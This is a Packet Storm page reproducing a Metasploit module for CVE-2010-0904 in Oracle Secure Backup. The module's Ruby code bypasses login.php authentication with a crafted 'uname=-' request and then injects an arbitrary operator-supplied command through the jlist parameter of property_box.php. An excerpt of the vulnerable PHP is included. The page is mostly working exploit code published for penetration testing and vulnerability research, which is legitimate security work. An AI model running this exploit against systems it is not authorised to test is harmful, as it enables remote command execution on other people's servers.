what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Oracle Secure Backup Authentication Bypass / Command Injection

Oracle Secure Backup Authentication Bypass / Command Injection
Posted Aug 31, 2024
Authored by Jay Turla | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability in login.php in order to execute arbitrary code via a command injection vulnerability in property_box.php. This Metasploit module was tested against Oracle Secure Backup version 10.3.0.1.0 (Win32).

tags | exploit, arbitrary, php, bypass
systems | windows
advisories | CVE-2010-0904
SHA-256 | 6863a81671e2c9181fc762b376462302051ea799490c07fe8f165bc20e6d3514

Oracle Secure Backup Authentication Bypass / Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',
'Description' => %q{
This module exploits an authentication bypass vulnerability
in login.php in order to execute arbitrary code via a command injection
vulnerability in property_box.php. This module was tested
against Oracle Secure Backup version 10.3.0.1.0 (Win32).
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-0904' ],
[ 'OSVDB', '66338'],
[ 'ZDI', '10-118' ],
],
'DisclosureDate' => '2010-07-13'))

register_options(
[
Opt::RPORT(443),
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
OptBool.new('SSL', [true, 'Use SSL', true]),
])
end

def run
cmd = datastore['CMD']

res = send_request_cgi(
{
'uri' => '/login.php',
'data' => 'attempt=1&uname=-',
'method' => 'POST',
}, 5)

if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)

print_status("Sending command: #{datastore['CMD']}...")

send_request_cgi(
{
'uri' => '/property_box.php',
'data' => 'type=Job&jlist=' + Rex::Text.uri_encode('&' + cmd),
'cookie' => res.get_cookies,
'method' => 'POST',
}, 5)

print_status("Done.")
else
print_error("Invalid PHPSESSION token..")
return
end
end
end
=begin
else if (strcmp($type, "Job") == 0)
{
if (!is_array($objectname))
$objectname = array();
reset($objectname);
while (list(,$oname) = each($objectname))
{
$oname = escapeshellarg($oname);
$jlist = "$jlist $oname";
}
if (strlen($jlist) > 0)
$msg = exec_qr("$rbtool lsjob -lrRLC $jlist");
=end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close